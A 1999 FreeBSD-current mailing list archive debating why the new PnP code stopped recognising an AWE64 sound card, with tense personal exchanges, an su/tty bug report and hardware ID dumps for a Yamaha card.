To: Peter Wemm <peter@netplex.com.au>
Cc: dmaddox@conterra.com, current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?)
Message-ID: <19990926171621.A974@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926163659.A707@dmaddox.conterra.com> <19990926210537.86B141CC3@overcee.netplex.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <19990926210537.86B141CC3@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Mon, Sep 27, 1999 at 05:05:37AM +0800, Peter Wemm wrote:
> 
> The old PnP code was matching on the card vendor ID.  The new pnp code
> treats each logical device on it's own and matches by logical ID..
> (It's actually far more useful that way as most cards have their own
> manufacturer ID but quite often when they are compatable with something
> they use that as their logical ID.)

Ah, OK...  That makes a lot of sense.  Thanks for the clear, concise
explanation.

> 
> For example, there are a zillion Soundblaster PnP compatables with their own
> unique vendor ID but with a CTLxxxx ID on the logical device that implements
> the sb parts of the card.
> 
> We're not doing this because we enjoy pain and suffering, it's because
> it'll be better and more robust in the long run.  Unfortunately, there was
> no canonical list of logical ID's on the cards we used to recognize.
> 
> So I repeat for the list.. If you've got a card that used to work or does
> work under BIOS backwards compat preconfig with 'controller pnp0' disabled,
> please send us a dmesg and pnpinfo -v so we can add the ID's.  'controller
> pnp0' is quite likely to become non-optional soon so we can use the
> motherboard resource lists.

Again, thanks for the very helpful and informative answers.  I would still
appreciate it if someone could give me a little bit more of a clue as to
what is necessary to add newPnP-awareness to the AWE driver, though.
(Surly and unhelpful responses from Mike Smith specifically NOT solicited)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 14:30:44 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94])
	by hub.freebsd.org (Postfix) with ESMTP id 38F3114C25
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 14:30:40 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id OAA14132;
	Sun, 26 Sep 1999 14:23:19 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909262123.OAA14132@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: dmaddox@conterra.com
Cc: Mike Smith <mike@smith.net.au>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 16:05:19 EDT."
             <19990926160519.A350@dmaddox.conterra.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 14:23:18 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On Sun, Sep 26, 1999 at 12:29:46PM -0700, Mike Smith wrote:
> > > 
> > > But we do have a working driver for the AWE64.  Or rather, it worked fine
> > > before the new PnP code was comitted, now it doesn't.  It seems to me that
> > > this indicates a deficiency in the new PnP code.  Isn't that correct?
> > 
> > No.
> > 
> > I have already explained to you that the AWE64 driver that you were 
> > using (one actually of _three_ that we have) only worked with PnP cards 
> > as an accidental side-effect of the old PnP code.  Now that the PnP 
> > code has been fixed, the brokenness of the old driver is exposed.
> 
> Can you give me a few hints on what would be necessary to get the old
> driver to work with the new PnP?

As has already been explained to you (you _do_ read these messages in 
their entirety, right?), the old driver has been obsoleted.  You need 
to take the functionality that you want from the old driver and 
implement it in the newpcm code.

> It's amazing that one of the most popular sound cards of all time, one
> that works fine on practically every OS from DOS3.3 to Linux and BeOS,
> is of no concern to FBSD developers :-/

Since the AWE64 is already reported to work just fine with the current 
generation sound code, this sounds just a little hysterical to me.  You 
seem to have a slightly more specialised requirement that's not yet 
being catered to that does require some more attention.


-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 14:51: 1 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 5AE2314CC6
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 14:50:53 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id RAA14383;
	Sun, 26 Sep 1999 17:50:51 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id RAA01234;
	Sun, 26 Sep 1999 17:50:57 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 17:50:56 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Mike Smith <mike@smith.net.au>
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926175056.A1179@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926160519.A350@dmaddox.conterra.com> <199909262123.OAA14132@dingo.cdrom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <199909262123.OAA14132@dingo.cdrom.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, Sep 26, 1999 at 02:23:18PM -0700, Mike Smith wrote:
> > Can you give me a few hints on what would be necessary to get the old
> > driver to work with the new PnP?
> 
> As has already been explained to you (you _do_ read these messages in 
> their entirety, right?), the old driver has been obsoleted.  You need 
> to take the functionality that you want from the old driver and 
> implement it in the newpcm code.

I just reviewed this thread in it's entirety.  No one has said, up to
this point, that the AWE driver was obsoleted, but rather that it was
broken with respect to PnP.  It appears that my ability to read remains
intact.

> > It's amazing that one of the most popular sound cards of all time, one
> > that works fine on practically every OS from DOS3.3 to Linux and BeOS,
> > is of no concern to FBSD developers :-/
> 
> Since the AWE64 is already reported to work just fine with the current 
> generation sound code, this sounds just a little hysterical to me.  You 
> seem to have a slightly more specialised requirement that's not yet 
> being catered to that does require some more attention.

You got a false report, or at least one for a different card than the
one I have.  Peter just sent me a patch moments ago that should make the
newPnP code recognize my card.

I assume by 'slightly more specialized requirement', you mean expecting
the AWE device to actually work?  Well, since that device is, essentially,
the raison d'etre for this particular card, that seems to be a reasonable
thing to expect.

On a more personal note -  What *is* your problem, anyway?  If you don't
have anything useful to contribute to the conversation, why reply at all?
Peter answered all my questions, and provided lots of useful information in
a single missive.  I have yet to get anything from you except surly and
wholely unhelpful responses.  Please - If you don't have any useful info,
try to restrain yourself from the compulsion to reply.  Thank you in advance.




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 14:51:33 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rah.star-gate.com (216-200-29-190.snj0.flashcom.net [216.200.29.194])
	by hub.freebsd.org (Postfix) with ESMTP id C849D15676
	for <FreeBSD-current@FreeBSD.ORG>; Sun, 26 Sep 1999 14:51:29 -0700 (PDT)
	(envelope-from hasty@rah.star-gate.com)
Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1])
          by rah.star-gate.com (8.9.3/8.8.8) with ESMTP id OAA20454
          for <FreeBSD-current@FreeBSD.ORG>; Sun, 26 Sep 1999 14:49:56 -0700 (PDT)
          (envelope-from hasty@rah.star-gate.com)
Message-Id: <199909262149.OAA20454@rah.star-gate.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: FreeBSD current users <FreeBSD-current@FreeBSD.ORG>
Subject: Re: make world, attempt 5 
In-reply-to: Your message of "Sun, 26 Sep 1999 21:53:42 +0200."
             <37EE79C6.1F058A1E@dead-end.net> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 14:49:56 -0700
From: Amancio Hasty <hasty@rah.star-gate.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

TinderBox is a great tool for keeping track of build failures...


http://www.mozilla.org/tools.html

-- 

 Amancio Hasty
 hasty@rah.star-gate.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 15: 0:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id A61A015441
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 15:00:24 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id SAA14748
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 18:00:23 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id SAA01334
	for current@FreeBSD.ORG; Sun, 26 Sep 1999 18:00:28 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 18:00:28 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: current@FreeBSD.ORG
Subject: [dmaddox@conterra.com: Re: New PnP code does not work for me(?)]
Message-ID: <19990926180028.A1316@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="2oS5YaxWCcQjTEyO"
X-Mailer: Mutt 1.0pre3i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


--2oS5YaxWCcQjTEyO
Content-Type: text/plain; charset=us-ascii


--2oS5YaxWCcQjTEyO
Content-Type: message/rfc822

Received: from localhost (myself@localhost [127.0.0.1])
	by dmaddox.conterra.com (8.9.3/8.9.1) with ESMTP id RAA01303
	for <myself@localhost>; Sun, 26 Sep 1999 17:57:12 -0400 (EDT)
	(envelope-from myself@conterra.com)
Received: from mail.conterra.com
	by localhost with POP3 (fetchmail-5.1.0)
	for myself@localhost (single-drop); Sun, 26 Sep 1999 17:57:12 -0400 (EDT)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id RAA14495;
	Sun, 26 Sep 1999 17:54:20 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id RAA01274;
	Sun, 26 Sep 1999 17:54:26 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 17:54:26 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Mike Smith <mike@smith.net.au>
Cc: dmaddox@conterra.com
Subject: Re: New PnP code does not work for me(?)
Message-ID: <19990926175426.B1179@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926171621.A974@dmaddox.conterra.com> <199909262129.OAA14186@dingo.cdrom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <199909262129.OAA14186@dingo.cdrom.com>
Return-Receipt-To: dmaddox@conterra.com
X-UIDL: ce5052388bfa4367ff0874c8e0487622

On Sun, Sep 26, 1999 at 02:29:43PM -0700, Mike Smith wrote:
> > Again, thanks for the very helpful and informative answers.  I would still
> > appreciate it if someone could give me a little bit more of a clue as to
> > what is necessary to add newPnP-awareness to the AWE driver, though.
> > (Surly and unhelpful responses from Mike Smith specifically NOT solicited)
> 
> You get what you have coming to you.  In the time it's taken you to 
> discover that I'm not interesting in holding your hand through the 
> entire process you could have worked it out for yourself.
> 
> Consider which would have been the better investment.

I didn't enter this conversation looking for hand-holding from anybody.

I simply reported what seemed like broken functionality to me.  Thanks to
Peter, I now at least understand why the brokenness is unavoidable in this
case.  Thanks to you...  Well, I don't actually have anything to thank you
for, do I?


--2oS5YaxWCcQjTEyO--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 15: 6:52 1999
Delivered-To: freebsd-current@freebsd.org
Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6])
	by hub.freebsd.org (Postfix) with ESMTP id BC55E14DED
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 15:06:50 -0700 (PDT)
	(envelope-from billf@jade.chc-chimes.com)
Received: by jade.chc-chimes.com (Postfix, from userid 1001)
	id 725631C23; Sun, 26 Sep 1999 17:10:30 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by jade.chc-chimes.com (Postfix) with ESMTP
	id 6E9D0381B; Sun, 26 Sep 1999 17:10:30 -0400 (EDT)
Date: Sun, 26 Sep 1999 17:10:30 -0400 (EDT)
From: Bill Fumerola <billf@jade.chc-chimes.com>
To: "Donald J . Maddox" <dmaddox@conterra.com>
Cc: current@FreeBSD.ORG
Subject: Re: [dmaddox@conterra.com: Re: New PnP code does not work for me(?)]
In-Reply-To: <19990926180028.A1316@dmaddox.conterra.com>
Message-ID: <Pine.BSF.4.10.9909261707400.25127-100000@jade.chc-chimes.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Considering you just redirected what seemed to be a private message
to a public mailing list, I have completely just written you off.

To say this is bad etiquette would be a gross understatement. I hope
you feel like a complete ass, because you just presented yourself as
one.

-- 
- bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp -
- ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org  -






To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 15: 8:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from garnet.sover.net (garnet.sover.net [209.198.87.53])
	by hub.freebsd.org (Postfix) with ESMTP id EA46314DED
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 15:08:36 -0700 (PDT)
	(envelope-from adams@digitalspark.net)
Received: from nightfall.digitalspark.net (arc0a169.bf.sover.net [209.198.85.169])
	by garnet.sover.net (8.9.3/8.9.3) with ESMTP id SAA28874
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 18:08:32 -0400 (EDT)
Comments: SoVerNet Verification (on garnet.sover.net)
	nightfall.digitalspark.net from arc0a169.bf.sover.net [209.198.85.169] 209.198.85.169
	Sun, 26 Sep 1999 18:08:32 -0400 (EDT)
Date: Sun, 26 Sep 1999 18:12:30 +0000 (GMT)
From: Adam Strohl <adams@digitalspark.net>
To: current@FreeBSD.ORG
Subject: Wierd su problem still there
In-Reply-To: <19990926175056.A1179@dmaddox.conterra.com>
Message-ID: <Pine.BSF.4.10.9909261807190.365-100000@nightfall.digitalspark.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

adams@nightfall(18:06:51)$ su
Password:load: 0.37  cmd: su 381 [ttyin] 0.00u 0.00s 0% 668k
load: 0.37  cmd: su 381 [ttyin] 0.00u 0.00s 0% 668k
load: 0.37  cmd: su 381 [ttyin] 0.00u 0.00s 0% 668k

each "load" line is an enter press.

If I rlogin to localhost and su there is no problem

other programs do this, too:

--- FTP
220 silver FTP server (Version 6.00LS) ready.
Name (silver:adams): load: 0.16  cmd: ftp 387 [ttyin] 0.01u 0.00s 0% 1072k

--- Telnet (only some hosts, thought)
BSDI BSD/OS 4.0.1 (granite) (ttyp1)

login: adams
Password:load: 0.17  cmd: login_radius 23867 [running] 0.00u 0.01s 0% 228k

As soon as I get this the app becomes totaly useless, I can't control-z or
control-c it, I have to kill the term.

VNC (on the password prompt) and other random apps do this too, but you
get the idea, I just rebuild/installed world from an cvsup from about 30
minutes ago, this has been going on for over a week (I cvsup every day).

Any ideas?

- ----( Adam Strohl )------------------------------------------------ -
-  UNIX Operations/Systems               http://www.digitalspark.net  -
-  adams (at) digitalspark.net                    xxx.xxx.xxxx xxxxx  -
- ----------------------------------------( DigitalSpark.NET )------- -




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 15:13:49 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 9A1D014BF2
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 15:13:46 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id SAA15216;
	Sun, 26 Sep 1999 18:13:42 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id SAA01458;
	Sun, 26 Sep 1999 18:13:46 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 18:13:46 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Bill Fumerola <billf@jade.chc-chimes.com>
Cc: current@FreeBSD.ORG
Subject: Re: [dmaddox@conterra.com: Re: New PnP code does not work for me(?)]
Message-ID: <19990926181346.A1438@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926180028.A1316@dmaddox.conterra.com> <Pine.BSF.4.10.9909261707400.25127-100000@jade.chc-chimes.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <Pine.BSF.4.10.9909261707400.25127-100000@jade.chc-chimes.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

While your response seems a bit strong, to say the least, I confess
that the redirection was a real mistake...  I thought Mike had replied
to me on the list and I had hit 'r' by accident, instead of 'g', in
mutt.  My apologies to Mike.

On Sun, Sep 26, 1999 at 05:10:30PM -0400, Bill Fumerola wrote:
> 
> Considering you just redirected what seemed to be a private message
> to a public mailing list, I have completely just written you off.
> 
> To say this is bad etiquette would be a gross understatement. I hope
> you feel like a complete ass, because you just presented yourself as
> one.
> 
> -- 
> - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp -
> - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org  -
> 
> 
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 15:27:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dt014n8c.san.rr.com (dt014n8c.san.rr.com [24.30.129.140])
	by hub.freebsd.org (Postfix) with ESMTP id DF17614C16
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 15:27:39 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Received: from gorean.org (master [10.0.0.2])
	by dt014n8c.san.rr.com (8.9.3/8.8.8) with ESMTP id PAA23338;
	Sun, 26 Sep 1999 15:25:14 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Message-ID: <37EE9D38.81A8B494@gorean.org>
Date: Sun, 26 Sep 1999 15:24:56 -0700
From: Doug <Doug@gorean.org>
Organization: Triborough Bridge & Tunnel Authority
X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Peter Wemm <peter@netplex.com.au>
Cc: dmaddox@conterra.com, current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?)
References: <19990926210537.86B141CC3@overcee.netplex.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Peter Wemm wrote:
> 
> "Donald J . Maddox" wrote:
> > Ok, will do.  Thanks.
> >
> > This may be a silly question, but...  The old PnP driver recognized
> > a lot of devices, including my AWE64.  Isn't there a list of IDs it
> > was aware of that should be merged into newPnP ASAP?
> 
> The old PnP code was matching on the card vendor ID.  The new pnp code
> treats each logical device on it's own and matches by logical ID.

	The new architecture sounds like a good thing, but isn't there a way to
fall back to the old method if the logical device ID isn't found?
Perhaps with an error message asking the user to report the logical ID
to proper-mailing-list@freebsd.org? Of course I'm probably dreaming
here, but it seems to me that some kind of compromise should be
possible, since I tend to agree with Donald that "Working before + not
working now = broken," no matter how much "better" the broken version is
from the purity standpoint. 

Doug
-- 
"Stop it, I'm gettin' misty." 

    - Mel Gibson as Porter, "Payback"


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 15:35:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94])
	by hub.freebsd.org (Postfix) with ESMTP id DC2DF15C3E
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 15:34:45 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id PAA14532;
	Sun, 26 Sep 1999 15:27:29 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909262227.PAA14532@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: Doug <Doug@gorean.org>
Cc: current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-reply-to: Your message of "Sun, 26 Sep 1999 15:24:56 PDT."
             <37EE9D38.81A8B494@gorean.org> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 15:27:29 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > The old PnP code was matching on the card vendor ID.  The new pnp code
> > treats each logical device on it's own and matches by logical ID.
> 
> 	The new architecture sounds like a good thing, but isn't there a way to
> fall back to the old method if the logical device ID isn't found?
> Perhaps with an error message asking the user to report the logical ID

No.  The goal is to fix drivers, not conceal their shortcomings while 
requiring admins to apply unnecessary bandaids.

-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 15:53:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id A33D914D5C
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 15:53:33 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id 969AC1CC1; Mon, 27 Sep 1999 06:53:32 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: Doug <Doug@gorean.org>
Cc: dmaddox@conterra.com, current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-reply-to: Your message of "Sun, 26 Sep 1999 15:24:56 MST."
             <37EE9D38.81A8B494@gorean.org> 
Date: Mon, 27 Sep 1999 06:53:32 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990926225332.969AC1CC1@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Doug wrote:
> Peter Wemm wrote:
> > 
> > "Donald J . Maddox" wrote:
> > > Ok, will do.  Thanks.
> > >
> > > This may be a silly question, but...  The old PnP driver recognized
> > > a lot of devices, including my AWE64.  Isn't there a list of IDs it
> > > was aware of that should be merged into newPnP ASAP?
> > 
> > The old PnP code was matching on the card vendor ID.  The new pnp code
> > treats each logical device on it's own and matches by logical ID.
> 
> 	The new architecture sounds like a good thing, but isn't there a way to
> fall back to the old method if the logical device ID isn't found?
> Perhaps with an error message asking the user to report the logical ID
> to proper-mailing-list@freebsd.org? Of course I'm probably dreaming
> here, but it seems to me that some kind of compromise should be
> possible, since I tend to agree with Donald that "Working before + not
> working now = broken," no matter how much "better" the broken version is
> from the purity standpoint. 

Well, if people would tell us what the ID's were rather than bypassing
the system then we'd be a lot better off by now. :-)

Seriously though, matching by card vendor ID isn't impossible but would be
rather messy in the current system as the probe is called for each logical
device.  An average sound card has three to five "devices" on it.  Usually
the first one (ldn 0) is the sound device, but sometimes ldn 0 is the card
controller, and sometimes other things like the ide port or joystick ports
occupy the first slots, pushing the sound part to ldn #3 or 4 or so.  The
current probes don't have any idea if "this" logical device is the first or
the third on a "card".

Cheers,
-Peter



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 16: 9:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from shattered.disturbed.net (shattered.disturbed.net [205.236.147.18])
	by hub.freebsd.org (Postfix) with ESMTP id 6BF4115738
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 16:09:26 -0700 (PDT)
	(envelope-from veers@disturbed.net)
Received: from shattered.disturbed.net ([205.236.147.18]:52489 "EHLO shattered.disturbed.net") by disturbed.net with ESMTP id <S.rveSF61550>; Sun, 26 Sep 1999 19:09:05 -0400
Date:	Sun, 26 Sep 1999 19:09:04 -0400 (EDT)
From: Alex Perel <veers@disturbed.net>
To: "Donald J . Maddox" <dmaddox@conterra.com>
Cc: Mike Smith <mike@smith.net.au>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
In-Reply-To: <19990926175056.A1179@dmaddox.conterra.com>
Message-ID: <Pine.BSF.4.10.9909261907150.77898-100000@shattered.disturbed.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, 26 Sep 1999, Donald J . Maddox wrote:

> I just reviewed this thread in it's entirety.  No one has said, up to
> this point, that the AWE driver was obsoleted, but rather that it was
> broken with respect to PnP.  It appears that my ability to read remains
> intact.

Ah, but if you had done some more research you would have found that the
Voxware driver (that you are using) is labelled "obsolete" and its use is
discouraged. 

> On a more personal note -  What *is* your problem, anyway?  If you don't
> have anything useful to contribute to the conversation, why reply at all?
> Peter answered all my questions, and provided lots of useful information in
> a single missive.  I have yet to get anything from you except surly and
> wholely unhelpful responses.  Please - If you don't have any useful info,
> try to restrain yourself from the compulsion to reply.  Thank you in advance.

When you do as much for the project as Mike has, your input will be noted
for future reference. 


      Alex G. Perel  -=-  AP5081
veers@disturbed.net  -=-  veers@samurai.com
	 
Disturbed Networks - Powered exclusively by FreeBSD
== The Power to Serve -=- http://www.freebsd.org/     



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 16:12:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.kar.net (mail.kar.net [195.178.131.134])
	by hub.freebsd.org (Postfix) with ESMTP id 85BBA15099
	for <freebsd-current@FreeBSD.ORG>; Sun, 26 Sep 1999 16:12:24 -0700 (PDT)
	(envelope-from kushn@mail.kar.net)
Received: from 178.dialup.kar.net (178.dialup.kar.net [195.178.130.178])
	by mail.kar.net (8.9.3/8.9.3) with ESMTP id CAA11314
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 02:09:53 +0300 (EET DST)
Date: Mon, 27 Sep 1999 02:12:13 +0300 (EEST)
From: Vladimir Kushnir <kushn@mail.kar.net>
X-Sender: volodya@kushnir.kiev.ua
To: freebsd-current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-Reply-To: <19990926210537.86B141CC3@overcee.netplex.com.au>
Message-ID: <Pine.BSF.4.10.9909270201560.3847-100000@kushnir.kiev.ua>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hello, here's an output for my Yamaha OPL-SA2 card (it used to work
perfectly all right as css device & friends  under old Pnp & VoxWare, but
now outputs very poor sound through /dev/dsp and no sound at all when
playing audio CD, and of course no midi):

dmesg:
pcm0: <Yamaha SA2> at port
0x220-0x22f,0x530-0x537,0x388-0x38b,0x330-0x331,0x370
-0x371 irq 5 drq 0,1 on isa0
unknown0: <OPL3-SA2 Sound Board> at port 0x201 on isa0
unknown1: <OPL3-SA2 Sound Board> at port 0x100-0x107 on isa0
unknown2: <OPL3-SA2 Sound Board> at port 0x1e0-0x1e7,0x3e6 irq 11 on isa0

pnpinfo -v (BTW, why the kernel message 
mss_intr: irq, but not from mss                                        
when running pnpinfo?):
Checking for Plug-n-Play devices...

Card assigned CSN #1
Vendor ID YMH0020 (0x2000a865), Serial Number 0xffffffff
PnP Version 1.0, Vendor Version 0
Device Description: OPL3-SA2 Sound Board

Logical Device ID: YMH0021 0x2100a865 #0
	Vendor register funcs 00
